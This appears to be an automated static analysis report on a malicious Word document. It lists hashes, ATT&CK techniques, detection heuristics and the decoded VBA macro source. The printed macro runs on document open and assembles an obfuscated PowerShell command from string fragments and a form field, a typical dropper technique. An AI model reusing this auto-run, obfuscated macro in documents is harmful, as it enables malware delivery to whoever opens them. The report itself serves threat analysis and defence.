Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 77f9592780aa111b…

MALICIOUS

Office (OLE)

86.5 KB Created: 2019-02-04 10:03:00 Authoring application: Microsoft Office Word First seen: 2019-08-04
MD5: f1d5c950556cc2e0429b5a21a05ba830 SHA-1: 8d92f095e69733326f2b958e535ab48ff7fcb8cb SHA-256: 77f9592780aa111bff267ced6c83653de92cc9512b250983bffe361c41f0e546
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The file contains a VBA macro that triggers on document open. This macro utilizes the Shell() function to execute 'shell.exe', indicating it's designed to launch a secondary payload. The ClamAV detection name 'Doc.Dropper.Agent-6844777-0' further supports its role as a dropper. The presence of VBA macros and the Document_Open event strongly suggest a malicious document intended for initial access via spearphishing.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-6844777-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6844777-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1484 bytes
SHA-256: 71d54636bc1db5607cd34f9df7d6576d403504abfa66fe54a3bf933cb19071fd
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim aqGoXrlM
aqGoXrlM = LNZv03C


Call w("er")
End Sub

Attribute VB_Name = "xqDzK"
Sub w(PrBUD)
Dim W7OMmW() As Byte
Dim OdcQBA As Long
OdcQBA = (4438 - 4436) / (31)
Dim SpXMU As String
SpXMU = Ekuq8
Dim QsS42Rai(1 To 172) As String
QsS42Rai(1) = "nVBOPA5f"
Dim YoOvMYEGI
YoOvMYEGI = ilKOpSzf
fQIDqAJZ = "shell.exe "
Dim G4G1qEZ() As Byte
Shell p6gx3VyhD() _
& PrBUD _
& fQIDqAJZ _
& spwNW45FX _
, 0
End Sub

Attribute VB_Name = "a3U62fHLX"
Public Function p6gx3VyhD() As String
Dim EmNCb As Long
EmNCb = (13055 - 13054) * (14)
Dim y5B9Pg
y5B9Pg = pMVrLncZS
p6gx3VyhD = "pow"
End Function

Attribute VB_Name = "DCla3LIs"
Public Function spwNW45FX()
Dim nwbOz(17) As Byte
Dim JMI82WcGg As Object
Set JMI82WcGg = New f
Dim ZX5oSP As String
ZX5oSP = JMI82WcGg.de.Text
spwNW45FX = ZX5oSP
End Function

Attribute VB_Name = "f"
Attribute VB_Base = "0{F36A864B-5513-4B30-B39D-A0EEADFA94C4}{4488ECB3-FDA3-4F64-A633-3EE4AC1CEECE}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False